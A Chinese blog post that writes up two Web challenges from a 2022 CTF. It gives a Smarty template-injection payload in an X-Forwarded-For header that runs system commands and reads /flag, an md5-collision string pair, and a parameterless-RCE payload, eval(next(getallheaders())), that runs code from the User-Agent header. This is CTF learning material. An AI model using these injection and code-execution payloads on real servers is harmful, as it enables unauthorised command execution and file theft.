您当前的位置: 首页 > 

姜小孩.

暂无认证

  • 5浏览

    0关注

    51博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

2022恐龙杯Web复现

姜小孩. 发布时间:2022-04-08 23:11:39 ,浏览量:5

目录

Be Smart

easy_php

总结:

Be Smart

第一题就让我放聪明点,要不然没好果子吃,smart不就应该是ssti注入吗,前几天Buu刷题中碰到的[BJDCTF2020]Cookie is so stable就是Twig引擎的ssti注入,这个题是smart!真好。既然回显的是IP,那就

X-Forwarded-For:{system('ls')}

 

然后查看根目录发现flag,直接:

X-Forwarded-For:{system('cat /flag')}
easy_php

WP告诉我要遇见扫一下就出来了,我才发现我的字典里没用520.php所以一开始没做出来这个题。进入520.php让我在一分钟内完成。然后想起来打开题目时候的提示,为什么要get它,那我post一个东西试试,然后关键来了!

  

第二关是让post,并且要var1与var1的md5值相等。

然后跳到第一关,也是md5碰撞

md5((string)($_POST['var2'])) === md5((string)($_POST['var3']))

.真实md5碰撞,此时不能输入数组了,只能输入字符串

param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

还有最后一个位置

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

很明显是无参数rce,apache才可以用的getallheaders()函数

使用getallheaders()时不需代入任何参数值,返回的是所有 HTTP 变量值,并使用组合的数组返回。此函数是apache_request_headers()的别名。

并且 Host 永远在数组的第一个, User-Agent 在第二个, User-Agent 我们可控,直接构造,

eval(next(getallheaders())); 

来访问数组第二个内容,也就是User-Agent的内容。

ls一下发现被禁了,WP教我

highlight_file('/flag');

学到了

总结:

注意查看disable_function

学到了highlight_file('/flag');和getallheaders()

关注
打赏
1652274937
查看更多评论
立即登录/注册

微信扫码登录

0.0784s